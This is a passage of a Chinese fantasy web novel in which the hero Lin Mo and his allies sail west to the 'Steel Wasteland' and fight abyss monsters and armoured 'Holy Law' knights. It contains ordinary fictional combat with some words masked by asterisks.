一道清越如龙吟的剑鸣,毫无征兆地穿透厚重的江水和冻结的剑意,悠然响起!
剑鸣过处,那冻结灵魂的寒意竟如春阳化雪般,悄然消融了几分!
一道温润平和的男子嗓音,带着一丝笑意,紧随剑鸣而至:
“云师妹,百年未见,你这‘月华镇山河’的剑意,愈发冰寒彻骨了。”
“只是这黄浦江上,何时划入昆仑的‘山河图’了?”
话音未落。
一道青虹破开水浪,翩然而至。
青衫磊落,霜白衣袍纤尘不染。腰间悬着青穗长剑与养剑葫,正是蜀山谢清徵!
他脸上依旧带着温润笑意,眼神澄澈如洗,仿佛能涤荡一切阴霾。目光扫过场中,在林默身上微顿,看到其嘴角血迹时,笑意淡了几分。
“谢清徵?”云无月冰冷的银眸终于出现一丝明显波动,那无光古剑流转的墨色幽光也微微一顿。
“你蜀山的手,何时伸得这般长了?”
“非也非也。”谢清徵洒然一笑,立于青虹之上,与云无月遥遥相对。两股截然不同的剑意,一者清正温润,一者冰寒孤高,在江底无声碰撞,竟形成微妙平衡。
“清徵奉师命游历红尘,感应此地有骸渊秽气与古老遗泽波动,故来一观。”
他目光转向沉寂的残碑,眼中闪过一丝了然。
“原来是‘天工·火’遗刻现世。难怪引动云师妹的月华剑。”
他随即看向林默,温声道:“小友,又见面了。看来青霖酒效果尚可?只是这江底湿寒,于你伤势不利。”
“谢前辈!”林默心头一松,压力骤减,连忙行礼。
渔火等人也松了口气,蜀山这位,至少是讲道理的。
“哼!”云无月冷哼一声,剑意微收,但依旧锁定残碑。“谢清徵,此碑乃昆仑之物,蜀山也要插手?”
“天地遗泽,有缘者得之。”谢清徵摇头,语气温和却坚定。“碑灵‘炎烬’前辈既已择主传火,此碑归属,当由其主定夺。”
他看向林默:“小友,你意
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如何?”
唰!
所有人的目光瞬间聚焦林默!
云无月银眸如冰,带着无形的压力。
谢清徵目光澄澈,隐含鼓励。
阿离眼神急切,墨灵屏息记录,渔火老铁头神色凝重。
林默深吸一口气,感受着丹田内那虽被压制却倔强燃烧的薪火,以及眉心处碑灵所传火种的余温。
他看向那沉寂的巨大黑碑。
“此碑……承载‘炎烬’前辈万载守护……”
“它……不属于任何人。”
林默的声音在压力下依旧清晰。
“它属于……那段被遗忘的‘天工’岁月。”
“属于……所有不愿文明之火熄灭的……后来者!”
嗡!
沉寂的残碑,似乎感应到林默的话语,碑体上那些黯淡的古老纹路,极其微弱地闪烁了一下。
云无月银眸微眯,冰冷依旧,却未再出言反驳。
谢清徵眼中赞赏之色更浓。
“说得好。”他抚掌轻笑,“薪火相传,文明不绝,方为‘天工’真意。强取豪夺,非我辈所为。”
他转向云无月:“云师妹,你意下如何?”
云无月沉默片刻,冰冷的视线在林默身上停留数息,仿佛要将他连同那点薪火彻底看穿。
“火种不全,前路必夭。”
她声音依旧清冷。
“此碑暂寄于此。”
“待汝寻齐火种,或……薪火熄灭之时……”
“昆仑,自会收回。”
话音落,她不再多言。月白云纹道袍微动,身影化作一道清冷月华,无声无息地穿透江水,消失不见。
那冻结一切的恐怖剑意,也随之消散。
江底,只剩下翻涌的浊流与沉寂的残碑。
“呼……”阿离长出一口气,拍着胸脯,“吓死姑奶奶了!这冰块脸比骨头架子还吓人!”
墨灵飞快记录:“能量威压消失……昆仑月华剑主已离开……空间参数恢复正常……”
渔火收起九针,看向谢清徵,郑重抱拳:“多谢谢道友解围。”
谢清徵回礼,目光却落在林默身上,澄澈的眼中带着一丝探究。
“小友,看来这江底之行,收获匪浅。”
“只是这‘火种不全’……云师妹所言非虚。”
他解下腰间的养剑葫,晃了晃。
“青霖酒虽能续脉养元,却补不了你这本源火种之缺。”
“或许……”
他目光投向西方,若有所思。
“那处即将开启的‘天工遗墟·机械城’,会有一线契机?”
第十六章 西行启程
昆仑月华消散,江底浊流复涌。
残碑沉寂,只余古老沧桑。
“天工遗墟·机械城?”阿离眨着琥珀色的眸子,火红短褂上的银铃随着水流轻晃,“那是什么地方?听着就带劲!”
墨灵推了推眼镜,璇玑木鸢眼中幽蓝光束扫描着谢清徵:“数据检索中……关联词:天工遗刻、失落科技、欧罗巴‘钢铁荒原’……权限不足,信息碎片化。”
“钢铁荒原?”老铁头机械臂敲了敲船舷,发出沉闷回响,“老火头,那不是当年咱们追查‘天工线索’时,差点折在里面的鬼地方?”
渔火浑浊老眼闪过一丝凝重:“不错。传闻那里是上古‘天工’一脉中,专精机巧造物与能量熔炉的‘械宗’陨落之地。空间扭曲,机关遍布,更有被异化能量侵蚀的钢铁巨兽游荡……凶险异常。”
他看向谢清徵:“谢道友,你确定那里有补全火种的契机?”
谢清徵立于青虹之上,青穗长剑轻吟。他晃了晃养剑葫,澄澈目光扫过林默残破的身躯和眉宇间那丝薪火独有的坚韧。
“青霖酒可续林小友断脉,养其本源元气。”
“然其薪火之核,源于武魂破碎时的意志燃烬,本就根基残缺。”
“碑灵‘炎烬’前辈所传火种本源,如同星火添薪,壮其焰,却难补其根。”
他指向西方,眼神深邃。
“机械城遗墟,乃‘天工·械宗’核心。”
“其内或有‘源初熔炉’之遗骸,亦或记载‘火种锻铸’之秘的‘械宗密卷’。”
“此二者,皆是补全残缺火种、重塑薪火根基的……一线可能。”
“一线可能?”林默仅存的右眼金光内蕴,感受着丹田薪火虽壮大却如无根浮萍的微妙滞涩。“值得一试。”
“破烂!姑奶奶陪你去!”阿离叉腰,琥珀眸子燃烧着冒险的火焰,“南明离火也是火!说不定那源初熔炉,对姑奶奶也有大好处!”
墨灵怀中的璇玑木鸢发出轻微齿轮转动声:“械宗遗迹……墨家机关术的源头之一……必须亲临考察!数据收集优先级:最高!”
老铁头咧嘴一笑,机械臂捏得咔咔响:“嘿,当年没探明白的鬼地方,这次有谢剑仙指路,还有小破烂这新火苗,正好去闯闯!”
渔火沉吟片刻,看向谢清徵:“道友同行?”
谢清徵微笑摇头:“师门另有要务,清徵需往东海一行。此去机械城,路在诸位脚下。”
他解下养剑葫,轻轻一抛。
青玉葫芦划过一道弧线,稳稳落入林默手中。
“葫中青霖尚余三滴,慎用。”
“此去西行,跨越大陆,凶险莫测。骸渊爪牙、觊觎遗泽者、乃至遗墟本身,皆是劫难。”
“守住薪火,守住本心。”
他目光扫过众人,最后落在林默身上,澄澈眼神带着期许。
“愿他日相逢,薪火燎原。”
青虹一闪,谢清徵身影已如游龙般破水而上,消失在浑浊江面。
“这就走了?”阿离撇撇嘴,“蜀山的人都这么神出鬼没吗?”
林默握紧温润的青玉葫,感受着其中蕴含的磅礴生机,郑重收好。
“前辈们,阿离姑娘,墨灵姑娘。”他看向众人,“机械城凶险未知,此行……”
“少废话!”阿离打断他,银铃脆响,“婆婆让我找遗刻线索,机械城也算!你去哪,姑奶奶跟到哪!”
墨灵点头:“逻辑成立。目标一致。”
老铁头拍着胸脯:“天工坊的烂摊子收拾得差不多了,老火头看家!老子陪你们年轻人闯一闯!”
渔火看着眼前这群年轻人,浑浊眼中闪过一丝久违的光芒。
“魔都迷雾将散,持炬者之路,本就始于足下。”
“老夫这把老骨头,也活动活动。”
“目标,欧罗巴,‘钢铁荒原’!”
三日后。
魔都外海,一艘不起眼的中型货轮,悄然离港。
甲板上。
林默换上了一身耐磨的深色作战服,右眼罩换成了更贴合,由墨灵改装后的单片战术目镜,遮掩破妄金光。
他迎着海风,感受着体内青霖酒缓慢修复经脉带来的微弱暖意,以及丹田薪火那无根燃烧的滞涩感。
“破烂!看这个!”阿离兴奋地跑过来,手里晃着一个赤金手环,上面镶嵌着几颗火红的晶石,“火神教的‘离焱环’,婆婆刚派人送来的!里面封存了三道南明离火本源,关键时候能救命!”
墨灵则在船舱内忙碌,璇玑木鸢悬浮空中,投射出复杂的全息地图,正是“钢铁荒原”及周边区域的扫描图,许多区域标注着巨大的红色问号。
“空间畸变率37.8%……能量辐射指数超标……存在大量未知生命信号……危险等级:极高。”她冷静地汇报。
老铁头在轮机舱叮叮当当,给货轮关键的几个部位加装了闪烁着符文的合金装甲板。“嘿,老子这‘玄武板’,硬抗**没问题!”
渔火站在船头,九根银针在袖口若隐若现,浑浊老眼望向西方海平线。
“风暴将至。”他低语。
林默顺着他的目光望去。
远处看似平静的海域上空,铅灰色的云层低垂翻滚,隐隐有沉闷的雷鸣传来。云层缝隙中,偶尔透出几缕不祥的暗绿色电光。
“不是自然风暴。”墨灵的声音从通讯器中传来,“璇玑侦测到高浓度骸渊死气反应!正在快速形成风暴眼!”
“骸渊?”阿离柳眉倒竖,“阴魂不散!”
“坐标锁定!风暴核心有巨大生命体能量反应!”墨灵语速加快,“形态分析……吻合数据库‘骸渊造物·黄泉逆鳞·深海变种’!”
话音未落!
轰隆——!!!
一道直径超过十米的惨绿色雷霆,撕裂铅云,如同灭世之矛,狠狠劈向货轮!
雷霆未至,那股冻结
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灵魂、污秽万物的骸渊死气已如海啸般压来!
“启动‘玄武’护盾!”老铁头在轮机舱怒吼!
嗡!
一层厚重的土黄色能量护盾瞬间升起,笼罩整艘货轮!
轰!!!
惨绿雷霆狠狠劈在护盾上!
刺眼的光芒爆开!护盾剧烈震荡,发出不堪重负的**!船体巨震!
“护盾能量暴跌45%!”墨灵急报,“第二波雷击蓄能中!”
“该死!”阿离冲到船边,离焱环赤光流转,“姑奶奶烧了它!”
“别冲动!”渔火厉喝,九针齐出,化作九道银芒射向翻涌的墨绿色海面!“水下有东西!不止一个!”
破妄右眼金光穿透混乱的能量流与浑浊海水!
林默看到了!
数条庞大无比、覆盖着惨白骨刺与腐烂肉膜的巨**状生物,正从深海急速上浮!它们张开的巨口中,惨绿火星凝聚,目标直指船底!
“水下!骨刺巨**!目标船底龙骨!”林默嘶声预警!
“璇玑!深水**模式!”墨灵冷静下令。
机关木鸢眼中幽蓝转为猩红,腹部弹仓开启,数枚符文闪烁的金属球体无声射入海中!
轰!轰!轰!
沉闷的**在水下掀起巨浪!暂时延缓了骨刺巨**的攻势。
但头顶,第二道、第三道惨绿雷霆已然成型!带着毁灭的气息,轰然劈落!
“护盾撑不住了!”老铁头的声音带着焦急。
阿离掌中赤金离火升腾,准备硬撼!
渔火九针回旋,锁定风暴核心!
林默丹田薪火疯狂燃烧,破妄右眼死死锁定那几道雷霆核心的惨绿火星!
就在这千钧一发之际!
嗡——!!!
一道低沉、雄浑、仿佛来自大地深处的轰鸣声,突兀地穿透了风暴的咆哮与雷霆的炸响!
紧接着!
一道粗壮无比、凝练如实质的土黄色光柱,如同从海底升起的撑天巨柱,后发先至,狠狠撞向那几道劈落的惨绿雷霆!
轰隆隆——!!!
土黄与惨绿的光芒疯狂对撞、湮灭!
狂暴的能量乱流将货轮掀得剧烈摇晃,却成功挡住了这致命一击!
“嗯?”渔火浑浊老眼猛地一凝。
林默破妄右眼金光一闪,望向土黄光柱射来的方向。
只见远处翻涌的海浪中,一艘造型古朴、通体覆盖着厚重岩石装甲、船首雕刻着巨大山岳图腾的巨型楼船,正破浪而来!
楼船甲板上,站着一位身材魁梧如铁塔、肤色古铜、面容刚毅的青年。
他赤裸上身,肌肉虬结如龙,背负一柄巨大的无锋石剑,周身散发着厚重如山岳般的气息。
他收回刚刚轰出拳头的右臂,拳头上还残留着土黄色的光晕。
目光如电,扫过货轮上众人,最终落在林默身上,声如洪钟:
“北岳宗,石崚!”
“奉师门之命,接引‘薪火’,西行!”
第十七章 怒海磐石
土黄光柱撕裂骸渊雷暴,余威掀起滔天巨浪!
货轮在狂暴的海浪中剧烈颠簸,玄武护盾光芒明灭不定。
“北岳宗?”渔火浑浊老眼精光一闪,九针悬空未发。
“石崚?”阿离琥珀眸子盯着那岩石楼船上铁塔般的身影,“没听过!不过力气倒是不小!”
墨灵操控璇玑木鸢扫描岩石楼船:“能量反应……厚重、凝实、与大地共鸣……符合北岳宗‘搬山一脉’特征……威胁评估……暂定中立。”
林默破妄右眼金光内蕴,穿透混乱能量流,凝视石崚。
视野中,对方气血如烘炉,周身萦绕着凝练厚重的土黄色罡气,与脚下楼船、甚至无边大海深处的地脉隐隐相连!其核心意志,如同山岳般沉稳、坚定。
“接引薪火?”林默声音在海风中带着嘶哑,“北岳宗……为何助我?”
石崚声如洪钟,穿透风浪:
“薪火燃于废墟,其志可嘉,其行可敬!”
“宗主感应地脉异动,知骸渊阻你西行,故遣我接应!”
他目光扫过翻涌海面下被炸伤的骨刺巨**,以及依旧在铅云中酝酿的惨绿雷光。
“废话少说!先碾碎这些骨头渣子!”
话音落!
石崚魁梧身躯猛地一沉,右脚踏在楼船甲板!
“搬山劲·镇海!”
轰!
一股无形的、厚重无匹的波动以他为中心扩散!脚下庞大的岩石楼船发出沉闷轰鸣,船体覆盖的岩石装甲符文大亮!
海面,以岩石楼船为中心,方圆百丈内的巨浪如同被无形巨手狠狠拍下,瞬间被压平!形成一个短暂的、诡异的“海盆”!
翻涌的骨刺巨**被这股突如其来的巨力死死摁在水下,发出痛苦的嘶鸣,动作迟滞!
“好机会!”渔火厉喝,“老铁!护盾最大功率!阿离!墨灵!掩护林小子!”
“玄武!给老子顶住!”老铁头在轮机舱咆哮,货轮护盾光芒暴涨!
“离焱环!启!”阿离娇叱,赤金手环光芒大盛,一道凝练的赤金火线射向铅云风暴核心!
“璇玑!高能干扰束!目标雷云节点!”墨灵冷静下令,木鸢眼中射出刺目的幽蓝光束!
林默心领神会!
破妄右眼瞬间锁定风暴核心那团最为浓郁、不断释放惨绿雷霆的骸渊死气聚合体!其核心,一点邪异的惨绿火星疯狂跳动!
丹田内,虽根基残缺却经历碑灵淬炼的暗金薪火轰然燃烧!
他强忍经脉刺痛,并指如剑!
一点凝练到极致、带着苍茫守护与净化意志的暗金光芒,如同撕裂永夜的第一缕晨曦,破开混乱能量,精准无比地点向那惨绿火星!
“薪火破妄·点星!”
嗤——!
如同滚油泼入雪堆!
那凝聚着恐怖死气的核心火星,被暗金光芒点中的瞬间,发出刺耳的尖啸!绿芒疯狂闪烁、扭曲、明灭!
整个骸渊雷暴的运转瞬间紊乱!劈落的雷霆变得散乱无力!
“就是现在!”石崚眼中厉芒爆射!
他深吸一口气,古铜色的胸膛高高鼓起,背后那柄巨大的无锋石剑发出低沉的嗡鸣!
“撼岳!”
他并未拔剑,而是右拳紧握,土黄色的罡气如同实质般缠绕其上,凝聚成一个巨大的岩石拳影!
拳影带着撼动山岳、**八荒的恐怖力量,隔空狠狠砸向那被林默重创、又被阿离墨灵干扰的骸渊风暴核心!
轰隆隆——!!!
岩石拳影与紊乱的骸渊死气***撞!
没有花哨的能量湮灭,只有最纯粹、最暴力的力量碾压!
整个风暴核心被这一拳硬生生打爆!无数惨绿电蛇四散崩飞,发出凄厉的哀鸣,最终消散在铅云之中!
失去了风暴核心的支撑,翻涌的铅云迅速变得稀薄,惨绿雷光彻底熄灭。
被“搬山劲”压制的骨刺巨**发出不甘的嘶吼,拖着伤痕累累的身躯,沉入深海,消失不见。
海面,恢复了相对的平静,只剩下货轮与岩石楼船在余波中轻轻摇晃。
“呼……”阿离散去离焱环的火光,擦了擦额角并不存在的汗,“总算清净了!大块头,你这拳头够硬!”
墨灵收回璇玑:“骸渊能量反应消失……威胁解除……正在记录战斗数据……北岳宗‘搬山劲’对骸渊死气压制效率……78.3%……”
老铁头从轮机舱探出头,抹了把汗:“**!差点交代在这!谢了,石头小子!”
渔火收起九针,对石崚抱拳:“多谢石道友援手。”
石崚收拳,厚重气息平复,对众人点了点头,目光再次落在林默身上。
“你那一指,不错。”他言简意赅,“虽火种残缺,其意已显燎原之势。”
“宗主所言非虚,薪火当兴。”
他指向西方,海平线尽头,一片笼罩在灰蒙蒙辐射云层下的巨大阴影轮廓若隐若现,隐约可见扭曲的金属尖塔与断裂的巨型管道。
“前方,钢铁荒原。”
“机械城遗墟入口,就在荒原核心‘齿轮峡谷’。”
“我宗‘磐石号’,可载诸位穿越外围辐射区与‘活化钢尘’。”
“登船!”
岩石楼船缓缓靠近,厚重的岩石装甲上符文流转,隔绝着海风与残留的辐射。
众人登上“磐石号”,顿感脚下沉稳如山,与货轮的颠簸截然不同。
甲板宽阔,布置古朴,几名同样气息厚重、沉默寡言的北岳宗弟子对众人行礼后便各司其职。
“破烂,这船真稳!”阿离好奇地四处打量。
墨灵则立
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刻让璇玑木鸢扫描船体结构:“能量传导效率……惊人……与地脉波动同步率92%……完美的防御与续航平台……”
林默站在船首,破妄右眼透过战术目镜,望向那片越来越近的灰暗大地。
荒凉!死寂!扭曲!
巨大的、锈蚀的金属残骸如同巨兽的骨骸,散落在龟裂焦黑的大地上。
空气中弥漫着刺鼻的金属粉尘和能量过载后的臭氧味。
灰蒙蒙的辐射云层低垂,偶尔有惨白的电弧在云中窜动。
“活化钢尘是什么?”林默问道。
石崚站在他身旁,如同铁塔。
“械宗陨落时,其造物核心能量泄露,污染了荒原金属微粒。”
“这些微粒蕴含微弱械灵与异化辐射,能侵蚀血肉,同化机械。”
他指向远处一片缓缓移动的、闪烁着金属光泽的“沙尘暴”。
“看,那就是。被卷入其中,血肉之躯顷刻化为金属雕像,机械造物则会被侵蚀同化,成为‘钢尘兽’的一部分。”
仿佛印证他的话,那片“沙尘暴”中,隐约传来令人牙酸的金属摩擦声,以及几声非人的嘶吼。
“磐石号有‘地脉护持’,可抵御。”石崚语气沉稳。
就在这时!
咻!咻!咻!
数道尖锐的破空声骤然从荒原深处射来!
那是几支缠绕着炽白圣光、铭刻着复杂几何符文的光矛!速度快如闪电,目标直指磐石号的动力核心区域!
光矛蕴含的力量,神圣中带着冰冷的审判意味,与骸渊死气截然不同,却同样充满攻击性!
“圣律所?!”渔火脸色一沉,“这帮神棍也来了!”
石崚浓眉一拧,反应极快!
“起!”
他低喝一声,右脚再次踏下!
磐石号船体猛地一震,前方海面轰然升起一道厚达数丈的岩石巨墙!
轰!轰!轰!
炽白光矛狠狠撞在岩石巨墙上,圣光与土石疯狂湮灭!巨墙剧烈震动,碎石纷飞,但终究挡住了这一轮偷袭!
“藏头露尾!”石崚声如闷雷,目光如电扫向光矛射来的方向。
只见远处一座断裂的金属高塔顶端,不知何时出现了几道身影。
他们身着银白与金色相间的修身战甲,线条流畅而冰冷,头盔面罩遮住面容,只露出毫无感情的眼部晶体。手中握着造型奇特的、如同权杖与**结合的光束武器。
为首一人,战甲更为华丽,肩甲上烙印着旋转的齿轮与荆棘缠绕的十字徽记。
冰冷、毫无波动的声音通过扩音器传来,响彻荒原:
“以‘万机之神’与‘圣律’之名!”
“此间遗骸,乃神赐之械骸!”
“异端之火与大地蛮族……”
“退去!”
“否则,净化为尘!”
第十八章 齿轮峡谷
“净化为尘?”
阿离琥珀眸子燃起火焰,离焱环赤光流转:“好大的口气!姑奶奶先烧了你们这些铁罐头!”
“冷静!”渔火按住她肩膀,“圣律所‘净化序列’战力不俗,不可冲动!”
石崚如山岳般立于船首,古铜面容冷硬如铁。
“大地之上,岂容尔等聒噪!”
他右脚再次踏下!
“搬山劲·岩突!”
轰!轰!轰!
圣律所藏身的断裂金属高塔周围,大地猛然拱起数根粗壮尖锐的岩石巨刺!如同巨兽獠牙,狠狠刺向塔顶!
“亵渎之举!”
为首圣律骑士冰冷宣告,手中光矛权杖高举!
“圣律·光穹壁!”
嗡!
一道由无数旋转的几何光符组成的半球形护盾瞬间展开,笼罩塔顶!
岩石巨刺狠狠撞在光穹壁上,发出刺耳的摩擦声与能量湮灭的爆鸣!光壁剧烈震颤,但终究未被突破!
“能量输出……75%……防御效率……89%……”墨灵快速分析璇玑传回的数据,“光符结构蕴含高维数学锁,物理与能量抗性均衡!”
“烦人的乌龟壳!”老铁头在轮机舱骂道。
林默破妄右眼金光闪烁,穿透光壁干扰,锁定那为首骑士!
视野中,对方并非纯粹人类!其战甲内部,是高度改造的机械义体与生物组织的融合!核心处,一团炽白、冰冷、充满计算与审判意志的能量源在搏动!
“半机械改造体!核心能量源类似……‘圣律核心’?”林默低语。
“异端,窥视神之奥秘!”为首骑士似乎感应到窥探,眼部晶体红光一闪!
“净化序列·光矛齐射!”
数名圣律骑士同时举杖!炽白的光矛撕裂空气,带着审判意志,覆盖磐石号!
“磐石·御!”石崚低喝。
磐石号船体符文再亮,一层更加凝实的土黄护盾升起!
轰!轰!轰!
光矛撞击,护盾涟漪阵阵,但岿然不动!
“能量消耗……12%……护盾稳定……”墨灵报告。
“大块头!你这船真硬!”阿离赞道。
石崚目光扫过远处缓缓逼近的活化钢尘风暴,又看向齿轮峡谷幽深的入口。
“钢尘将至,没空纠缠。”
“撞过去!”
他双拳紧握,周身土黄罡气轰然爆发,注入脚下楼船!
“搬山!破浪!”
磐石号发出沉闷的咆哮,速度骤然飙升!巨大的船首如同攻城锤,无视圣律所的光矛骚扰,悍然撞开挡路的金属残骸,朝着齿轮峡谷方向猛冲!
“拦住他们!”圣律骑士首领冰冷下令。
数名骑士背后喷射出蓝白尾焰,凌空飞起,光矛权杖锁定磐石号动力核心!
“想得美!”阿离娇叱!
“离焱环·火凤翔空!”
赤金手环光芒爆射!三道凝练的南明离火本源化作振翅火凤,带着焚尽污秽的堂皇之意,迎向飞来的圣律骑士!
“亵神之火!”骑士们挥动光矛,炽白圣光斩向火凤!
嗤嗤嗤!
圣光与离火激烈碰撞、湮灭!空中炸开绚烂而危险的光雨!
“璇玑!磁轨狙击模式!”墨灵冷静下令。
机关木鸢背部装甲滑开,伸出一支闪烁着幽蓝电弧的修**管。
嗡!
一道凝练的蓝色光束无声射出,精准命中一名骑士的推进器!
轰!
蓝光炸开!那骑士推进器失控,打着旋坠向下方翻涌的活化钢尘!
“不——!”凄厉的电子合成音响起,随即被金属摩擦的嘶吼淹没!
“干扰有效!”墨灵推了推眼镜。
“干得漂亮!”老铁头在船舱内喝彩。
磐石号冲破圣律所并不严密的空中封锁,巨大的船体碾过荒原,距离齿轮峡谷那如同巨兽獠牙般交错耸立的扭曲金属山壁,越来越近!
峡谷入口,弥漫着灰蒙蒙的、更加浓郁的活化钢尘!其中隐约可见巨大的、由金属残骸拼凑而成的阴影在移动,发出令人心悸的咆哮。
“准备冲击钢尘区!”石崚沉声提醒,“护盾全开!闭锁舱门!”
嗡!
磐石号护盾光芒催发到极致,土黄光晕流转,厚重如山!
船体外部舱门纷纷紧闭,符文闪耀,隔绝内外。
轰!
巨船悍然冲入灰蒙蒙的钢尘风暴!
滋啦——!
刺耳的金属摩擦声瞬间充斥所有人的耳膜!如同亿万细小的金属锉刀疯狂刮擦着护盾!
护盾光芒剧烈闪烁!船体震动不休!
“护盾能量消耗……急剧上升!侵蚀强度……是外围三倍!”墨灵声音带着一丝凝重。
“坚持住!”石崚额头青筋微凸,全力维持罡气输出!
林默破妄右眼透过观测窗,看到护盾外。
无尽的、闪烁着金属光泽的微粒如同活物般翻滚、冲击!它们试图钻透护盾,侵蚀船体!更恐怖的是,那些微粒在某种异化能量作用下,不断吸附周围的金属残骸,组合成形态狰狞的“钢尘兽”——扭曲的钢铁蜘蛛、多足的金属蜈蚣、甚至半身人形的金属怪物!它们疯狂扑击着护盾!
“吼!”
一头由废弃坦克和起重机残骸拼凑而成的巨型钢尘兽,挥舞着液压钳般的巨爪,狠狠拍在护盾上!
轰!
护盾剧烈凹陷!光芒狂闪!
“能量暴跌20%!”墨灵急报!
“找死!”石崚眼中厉色一闪!
“磐石·震!”
他双拳狠狠砸在甲板上!
嗡!
一股极其凝练的震荡波透过船体扩散开去!
轰!
那头巨型钢尘兽如同被无形的巨锤砸中,瞬间解体!重新化作漫天钢尘!
但更多的钢尘兽前仆后继!
“这样下去不行!”渔火皱眉,“护盾撑不到峡谷深处!”
林默凝视着外面翻滚的钢尘与疯狂的怪物,丹田内,暗金薪火微微跳动。
“这些钢尘……蕴含微弱械灵……其核心驱动,是异化能量源……”
破妄右眼金光流转,穿透层层微粒风暴。
他看到了!
在钢尘风暴深处,峡谷入口正上方,悬浮着一颗巨大的、不断旋转的、由无数齿轮和断裂管线构成的金属球体!
球体核心,一团暗绿色的、充满混乱与侵蚀意志的能量源,如同心脏般搏动!它散发着无形的力场,控制着整个入口区域的活化钢尘!
“核心……在那里!”林默指向金属球体,“摧毁它,或许能削弱风暴!”
“太远了!钢尘太厚!”阿离看着那影影绰绰的球体。
“璇玑无法穿透高密度钢尘干扰锁定!”墨灵摇头。
石崚看向林默:“薪火……能焚?”
“可以一试!”林默眼神锐利,“但需要接近!”
“好!”石崚毫不犹豫,“老铁!渔老!稳住护盾!其他人准备!”
“石崚!你……”渔火刚想阻止。
石崚已低吼一声,魁梧身躯爆发出惊人力量!
“搬山劲·裂地!”
他双拳合抱,土黄罡气凝聚成巨大的石锤虚影,对着前方厚重的钢尘风暴,狠狠砸下!
轰隆——!!!
前方的钢尘风暴,竟被这纯粹的力量硬生生砸开一条短暂的、直达核心金属球体的通道!
“就是现在!”石崚吼道。
通道尽头,那颗巨大的金属球体核心,暗绿能量源剧烈搏动,仿佛感受到了威胁!
林默早已蓄势待发!
丹田薪火疯狂燃烧,意志与那苍茫守护的净化真意高度统一!
他并指如剑,指尖凝聚的暗金光芒比之前更加凝练、纯粹!
“薪火破
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妄·焚源!”
一点暗金流星,顺着石崚开辟的通道,无视沿途钢尘,精准无比地射向那颗暗绿能量核心!
嗤——!
没有惊天**。
暗金光芒没入暗绿核心的瞬间,如同最纯净的火焰投入污浊的油池!
“滋嗷——!!!”
一声充满痛苦与混乱的、非人的尖啸从金属球体中爆发!
暗绿光芒疯狂闪烁、扭曲、挣扎!无数依附其上的齿轮管线瞬间熔断、崩解!
整个金属球体的旋转戛然而止!
笼罩入口的活化钢尘风暴,如同失去指挥的军队,瞬间变得混乱无序!冲击护盾的力量大减!
“成功了!”阿离欢呼!
“核心能量反应……暴跌90%!风暴强度衰减65%!”墨灵迅速确认。
“冲过去!”石崚大喝,磐石号护盾顶着稀薄混乱的钢尘,猛然加速,冲过最后一段距离,一头扎进了齿轮峡谷幽深黑暗的入口!
将混乱的钢尘风暴与隐约传来的圣律所追击光束,甩在了身后。
峡谷内,光线骤然昏暗。
巨大的、锈蚀的金属齿轮如同山峦般嵌在两侧崖壁,有些还在极其缓慢地转动,发出令人牙酸的“嘎吱”声。地面是厚厚一层金属粉尘,空气沉闷,弥漫着机油、铁锈和某种能量过载后的焦糊味。
“暂时安全。”渔火松了口气。
众人刚下船。
“咦?那是什么?”阿离指着峡谷深处一片相对开阔的地带。
那里,竟矗立着一座风格迥异的建筑!
并非钢铁造物,而是由巨大、粗糙的岩石堆砌而成,形似简陋的神庙。神庙周围,散落着一些风格原始、刻满图腾的石柱。
更引人注目的是,神庙门口的空地上,燃烧着一堆巨大的篝火!
火焰并非赤金,也非暗金,而是呈现出一种温暖、跃动的橘红色。
篝火旁,盘坐着几道身影。
他们穿着简陋的兽皮与麻布,皮肤呈健康的古铜色,身上涂抹着奇异的油彩。为首者是一位头发花白、手持骨杖的老者,闭目似在冥想。
篝火的光芒,竟将周围弥漫的微弱活化钢尘排斥在外!
“原住民?”老铁头惊讶。
“不。”林默破妄右眼金光微闪,看向那堆橘红篝火,以及老者骨杖顶端镶嵌的一颗跳动着的、如同小型太阳般的橘红晶石。
“能量反应……原始、炽热、与大地生命共鸣……类似……自然之火?”
他感受到丹田内的薪火,对那橘红火焰,竟产生了一丝微弱的……亲和与共鸣?
就在这时,那闭目的老者缓缓睁开双眼。
他的眼眸,竟如同那橘红晶石一般,燃烧着温暖而智慧的光芒。
目光越过众人,精准地落在林默身上。
一个苍老、温和、带着古老韵律的声音响起,用的是某种晦涩的语言,却奇异地能让所有人理解:
“远方的……持火者……”
“大地母神的火焰……在指引……”
“小心……峡谷的阴影……”
“圣律的追猎……与……骸渊的低语……同在……”
老者话音未落!
轰隆——!!!
众人头顶上方,峡谷一侧的巨大齿轮阴影中,猛地爆发出浓烈的骸渊死气!
一道由惨白骸骨与锈蚀金属拼凑而成的、手持巨大链锯的狰狞身影,带着刺耳的金属摩擦与骨骼碰撞声,轰然跃下!
目标直指林默!
“骸渊造物·链锯屠夫!”墨灵瞬间调出数据库匹配!
几乎同时!
咻!咻!咻!
数道炽白的光束,如同审判之剑,从众人来时的峡谷入口方向射入!精准封锁了磐石号的退路!
圣律所,也追进来了!
而那橘红篝火旁的老者,只是平静地看着这一切,手中的骨杖,微微握紧。
第二十章 薪火唤心
“火……吞噬!!!”
被骸渊侵蚀的萨鲁,双目赤绿交织,如同失控的狂兽,图腾石柱带着恶风,直砸林默头颅!
“滚开!”石崚如山横移,双拳土黄罡气如怒涛奔涌!
“搬山劲·崩岳!”
轰!
土黄拳影与图腾石柱硬撼!气浪炸开!萨鲁魁梧身躯剧震,连退数步,石柱上裂纹蔓延!
但他仿佛不知痛楚,嘶吼着再次扑上!骸渊死气与橘红油彩的狂暴力量扭曲融合,攻势更猛!
“他被死气侵蚀核心!蛮力压制无用!”渔火九针如电,刺向萨鲁周身大穴,银针却被狂暴的死气血气弹开!
“离火焚邪!”阿离娇叱,离焱环射出一道赤金火线!
滋啦!
火线灼烧在萨鲁肩头,死气蒸腾!但萨鲁体内橘红生命之火也被波及,发出痛苦哀鸣!
“不行!会伤到他本源!”墨灵急呼。
林默破妄右眼金光炽烈如阳!视野中,萨鲁体内惨绿死气如同跗骨之蛆,疯狂吞噬、扭曲着那团代表生命与力量的橘红火焰!
丹田内,暗金薪火前所未有地咆哮、跃动!
守护!净化!点燃生机!
这源于废墟、淬炼于碑灵的意志,在此刻化作最本能的冲动!
“让我来!”林默一步踏出,挡在石崚身前!
“破烂!你……”阿离惊呼。
“小友!”渔火也觉冒险。
石崚浓眉紧锁,但看到林默眼中那抹不容置疑的坚定金光,沉声道:“护住他!”
他双拳罡气转向,并非攻击萨鲁,而是化作无形的力场屏障,将林默牢牢护在核心,隔绝萨鲁狂暴力量的大部分冲击!
林默直面冲来的萨鲁,那扭曲的面孔、腥臭的死气扑面而来!
他毫无惧色,右手并指如剑,指尖却未凝聚毁灭的锋芒!
